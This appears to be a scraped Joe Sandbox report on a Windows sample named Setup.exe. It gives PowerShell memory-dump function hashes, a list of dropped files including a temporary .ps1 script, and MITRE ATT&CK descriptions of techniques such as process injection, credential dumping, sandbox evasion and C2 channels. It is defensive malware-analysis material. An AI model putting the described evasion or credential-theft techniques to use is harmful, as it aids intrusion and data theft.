4'^q, xrefs: 07530183
4'^q, xrefs: 07530177
$^q, xrefs: 07530286
$^q, xrefs: 0753026E

Memory Dump Source

Source File: 00000010.00000002.3195673054.0000000007530000.00000040.00000800.00020000.00000000.sdmp, Offset: 07530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7530000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: 46fd9893f56078bb604d15d3ff3b130273b9b00f01d61c62aa39e69de7d473d3
Instruction ID: cd12dd9315356691b2d82cca866b48d17513d99e03c0678bcc74a2830d5e727f
Opcode Fuzzy Hash: 46fd9893f56078bb604d15d3ff3b130273b9b00f01d61c62aa39e69de7d473d3
Instruction Fuzzy Hash: 9E512DB57043459FCB254AA9D8009EBBBE7BFC6210F14847BD45DCB3A1DA32C845C7A1

Function 03177CC8 Relevance: 5.2, Strings: 4, Instructions: 240COMMON

Download Yara Rule

Strings

`_q, xrefs: 03177E4A
`_q, xrefs: 03177F6A
`_q, xrefs: 03177EEC
`_q, xrefs: 03177DCB

Memory Dump Source

Source File: 00000010.00000002.3190704279.0000000003170000.00000040.00000800.00020000.00000000.sdmp, Offset: 03170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3170000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: daab62822fb4e2b14bd601c28e661f2d6b6d9d377651f76a1fe6a012cbcb66fb
Instruction ID: 9d7ddbcb3079b6485859bdf064e11175ba8d3b3bfe5f0d4c0c360886a2df305b
Opcode Fuzzy Hash: daab62822fb4e2b14bd601c28e661f2d6b6d9d377651f76a1fe6a012cbcb66fb
Instruction Fuzzy Hash: A9B1B774E002099FCB55DFA9D990A9EFBF2FF88300F148629E419AB355DB34A945CF90

Function 03177CD8 Relevance: 5.2, Strings: 4, Instructions: 234COMMON

Download Yara Rule

Strings

`_q, xrefs: 03177E4A
`_q, xrefs: 03177F6A
`_q, xrefs: 03177EEC
`_q, xrefs: 03177DCB

Memory Dump Source

Source File: 00000010.00000002.3190704279.0000000003170000.00000040.00000800.00020000.00000000.sdmp, Offset: 03170000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_3170000_powershell.jbxd

Similarity

API ID:
String ID: `_q$`_q$`_q$`_q
API String ID: 0-3297199963
Opcode ID: 3dedd20f3f4894435c17e907d6e0cc7cd3c0dfb17054cfdb673d986da8eca077
Instruction ID: 79f0b4803528b98ab769b450df0c4fc287606d3f75878d0109c02f3d6732c7cc
Opcode Fuzzy Hash: 3dedd20f3f4894435c17e907d6e0cc7cd3c0dfb17054cfdb673d986da8eca077
Instruction Fuzzy Hash: 0CB1B874E002099FDB54DFA9D990A9EFBF2FF88300F148629E419AB355DB34A945CF90

Function 07536050 Relevance: 5.1, Strings: 4, Instructions: 94COMMON

Download Yara Rule

Strings

$^q, xrefs: 07536062
$^q, xrefs: 075360B8
$^q, xrefs: 0753607E
$^q, xrefs: 075360AC

Memory Dump Source

Source File: 00000010.00000002.3195673054.0000000007530000.00000040.00000800.00020000.00000000.sdmp, Offset: 07530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7530000_powershell.jbxd

Similarity

API ID:
String ID: $^q$$^q$$^q$$^q
API String ID: 0-2125118731
Opcode ID: 066ebd4fa92768495bc6433d3da1588126205e46c7a42feefd1915ec9570b8b1
Instruction ID: a29a39e64a31702f1d017a9cbc979a3676bd0fde5b2b9fabdbde5f5401bed563
Opcode Fuzzy Hash: 066ebd4fa92768495bc6433d3da1588126205e46c7a42feefd1915ec9570b8b1
Instruction Fuzzy Hash: A32137B1710206ABDB28566A5801BAAABDAFBC1710F24882FA505CF3A6DD76D8458361

Function 075307A8 Relevance: 5.1, Strings: 4, Instructions: 52COMMON

Download Yara Rule

Strings

$^q, xrefs: 075307FE
4'^q, xrefs: 0753081F
$^q, xrefs: 075307F2
4'^q, xrefs: 07530813

Memory Dump Source

Source File: 00000010.00000002.3195673054.0000000007530000.00000040.00000800.00020000.00000000.sdmp, Offset: 07530000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7530000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: 82dcb1d595df7454e6e7baa1e863fe98b6ba2b609a51147c324e336a23451bf8
Instruction ID: d898a8bc9c90a9185cacf2cc048315a3121e256e6373b96cb4ee3290eb085bb6
Opcode Fuzzy Hash: 82dcb1d595df7454e6e7baa1e863fe98b6ba2b609a51147c324e336a23451bf8
Instruction Fuzzy Hash: 7701F9A1B093855FD72B162828205A57FF7AFC365471944DBD045CF2A7CD298C4A83A2

Analysis Process: powershell.exePID: 8132, Parent PID: 7924COMMON

Executed Functions

Function 07960CAD Relevance: 6.4, Strings: 5, Instructions: 134COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07960DCB
4'^q, xrefs: 07960DD7
$^q, xrefs: 07960DA4
$^q, xrefs: 07960D4E
$^q, xrefs: 07960DB0

Memory Dump Source

Source File: 00000013.00000002.3536289226.0000000007960000.00000040.00000800.00020000.00000000.sdmp, Offset: 07960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7960000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q$$^q
API String ID: 0-3272787073
Opcode ID: 5d98985893eeb8cb7e6585af907c3478d634dcb1b6a0b10f5084123a797622a6
Instruction ID: c0f5c3548b494474df6735447038dbbd24be0c64b8556d67808f2dae9e3f0c34
Opcode Fuzzy Hash: 5d98985893eeb8cb7e6585af907c3478d634dcb1b6a0b10f5084123a797622a6
Instruction Fuzzy Hash: 56413EF5B0030A8FCB291A7C98A8B7E7795AF81218F148E3AC515CF295DF7AD844C351

Function 079605E0 Relevance: 5.4, Strings: 4, Instructions: 386COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07960828
4'^q, xrefs: 07960686
4'^q, xrefs: 07960834
4'^q, xrefs: 07960692

Memory Dump Source

Source File: 00000013.00000002.3536289226.0000000007960000.00000040.00000800.00020000.00000000.sdmp, Offset: 07960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7960000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$4'^q$4'^q
API String ID: 0-1420252700
Opcode ID: d4fcd7142db8198ab2499b77c89bdc8b263b311e6545c46ba75d40a7684317c3
Instruction ID: f27d5a0b088d517e9487be641ca29060c2b01c0f77112c9707c959cc947104b5
Opcode Fuzzy Hash: d4fcd7142db8198ab2499b77c89bdc8b263b311e6545c46ba75d40a7684317c3
Instruction Fuzzy Hash: AED12BB1B043058FCB15DB7C9598A6EBBE6EFC5214F1886ABD405CB352EB32C845C791

Function 0796075C Relevance: 1.3, Strings: 1, Instructions: 72COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07960828

Memory Dump Source

Source File: 00000013.00000002.3536289226.0000000007960000.00000040.00000800.00020000.00000000.sdmp, Offset: 07960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7960000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: fed893d0bddb37e6634130d28498a92cb52ef6b7915bcc9b590b085ca47ce519
Instruction ID: 616822490d310ce6cff0da37338755dbb15f99b7f5e081a11cae1dd17e876079
Opcode Fuzzy Hash: fed893d0bddb37e6634130d28498a92cb52ef6b7915bcc9b590b085ca47ce519
Instruction Fuzzy Hash: EB21E7F0A05202CFDB10DF6CC588EBE7BA5EF81618F1946A6D505CB251E7768981CBD2

Function 079605C3 Relevance: 1.3, Strings: 1, Instructions: 70COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07960686

Memory Dump Source

Source File: 00000013.00000002.3536289226.0000000007960000.00000040.00000800.00020000.00000000.sdmp, Offset: 07960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7960000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 0ca4638f573546c965943aa156cb7b55262b017efe6566e12719d81197419e3a
Instruction ID: 1f6f84e89e997e46be4ecb3017113b976584e506602b210450fc8f63740a4476
Opcode Fuzzy Hash: 0ca4638f573546c965943aa156cb7b55262b017efe6566e12719d81197419e3a
Instruction Fuzzy Hash: E12162F1F05702CFCB248F6DD588E5A7BB5AF85225F1987AAD4088B121E374D845CF91

Function 07960770 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07960828

Memory Dump Source

Source File: 00000013.00000002.3536289226.0000000007960000.00000040.00000800.00020000.00000000.sdmp, Offset: 07960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7960000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: a9f33e6f33ba5f170d14f7293c268cf18ea7a7ae3be1f77a7dd78afcff1153d1
Instruction ID: 85415eeb760cdcf550e253d3b98db53926034698fb6d706b79eb21e841730bed
Opcode Fuzzy Hash: a9f33e6f33ba5f170d14f7293c268cf18ea7a7ae3be1f77a7dd78afcff1153d1
Instruction Fuzzy Hash: 1D11B2F0A00206CFDB64DF6DC588E3EB7E9EF85A18F14426AD50587250E776D981CBD1

Function 04E22AB0 Relevance: .3, Instructions: 305COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3519960039.0000000004E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 04E20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_4e20000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8981c05f2accf0f2dd2a58c7fb8f1a3e482ba83c5c9600a484e276bb8d445d88
Instruction ID: 65fdaf71622afcf12c85f0564afc99fc191189274228fa8d4acb24e21fe03d23
Opcode Fuzzy Hash: 8981c05f2accf0f2dd2a58c7fb8f1a3e482ba83c5c9600a484e276bb8d445d88
Instruction Fuzzy Hash: A1C1DC74A002598FCB15CF98C5949AEFBB1FF48310B248699EA15AB3A5C735FC41CFA0

Function 07960910 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3536289226.0000000007960000.00000040.00000800.00020000.00000000.sdmp, Offset: 07960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7960000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 341d6442db0cf205de9e7e58025106842bc02eac754ebe31e49a1e8fb7e370a3
Instruction ID: 2a4ee67595c207b1ae4173dde1a6a3812cdb82579e7744216cc7bd0d0f572f3d
Opcode Fuzzy Hash: 341d6442db0cf205de9e7e58025106842bc02eac754ebe31e49a1e8fb7e370a3
Instruction Fuzzy Hash: 051160F0A00206CFDB54CB5DC188E6EF7F6AF89258F198669D408D7211E771D984CBA1

Function 0319D01D Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3519581895.000000000319D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0319D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_319d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4c6c305263d4dc589ca741ad4f32641cbc294de3a6ad9f93002d03cb80c69178
Instruction ID: 9bdaaaf7379ee8133608797cf89700d31a885a8923e96831b41916e99d3df732
Opcode Fuzzy Hash: 4c6c305263d4dc589ca741ad4f32641cbc294de3a6ad9f93002d03cb80c69178
Instruction Fuzzy Hash: 7901DF710093049BFB148A29ED84B67FF98EF49324F1DC56AEC084B246C7799881C6B2

Function 0319D007 Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000013.00000002.3519581895.000000000319D000.00000040.00000800.00020000.00000000.sdmp, Offset: 0319D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_319d000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b650dbe708d8aa148d6325551b98805431dd97cd25b28bf28f460c58c4e3624
Instruction ID: fa2e9f2c256d5702c45705b284833bad08c6fe905cb282bd411f99b814522311
Opcode Fuzzy Hash: 2b650dbe708d8aa148d6325551b98805431dd97cd25b28bf28f460c58c4e3624
Instruction Fuzzy Hash: 4D011B6100E3C09FE7128B259894B52BFB4AF47224F1D80CBD8888F2A3C2699844C762

Non-executed Functions

Function 0796041B Relevance: 5.0, Strings: 4, Instructions: 45COMMON

Download Yara Rule

Strings

$^q, xrefs: 0796046E
4'^q, xrefs: 0796048F
$^q, xrefs: 07960462
4'^q, xrefs: 07960483

Memory Dump Source

Source File: 00000013.00000002.3536289226.0000000007960000.00000040.00000800.00020000.00000000.sdmp, Offset: 07960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_7960000_powershell.jbxd

Similarity

API ID:
String ID: 4'^q$4'^q$$^q$$^q
API String ID: 0-2049395529
Opcode ID: e472755667667f14ee9a0d1e665945c2ce58f77e04143266bd526e1f83977458
Instruction ID: 9e2d91952d1e5586044a05a92d3592ff7b1d50ca1e40d974a8de7b59ce015832
Opcode Fuzzy Hash: e472755667667f14ee9a0d1e665945c2ce58f77e04143266bd526e1f83977458
Instruction Fuzzy Hash: AC01A260B4D3C94FC72B166C28645666FF74F8365431A0ADFC081CF26BDD558C4983A3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Setup.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Other

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\189943\Attachment.com

C:\Users\user\AppData\Local\Temp\189943\X

C:\Users\user\AppData\Local\Temp\Added

C:\Users\user\AppData\Local\Temp\Advert

C:\Users\user\AppData\Local\Temp\Attorneys

C:\Users\user\AppData\Local\Temp\Celebration

C:\Users\user\AppData\Local\Temp\Dennis

C:\Users\user\AppData\Local\Temp\GWXV5ZWRBDHT2N15VSQM3K80X.ps1

C:\Users\user\AppData\Local\Temp\Handbook

C:\Users\user\AppData\Local\Temp\Hart

C:\Users\user\AppData\Local\Temp\Loop

Windows Analysis Report
Setup.exe

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine or network device. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer or network device via Network Device CLI (e.g. `reload` ).
Tactics:	Impact
Data Sources:	Command: Command Execution, Process: Process Creation, Sensor Health: Host Status
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre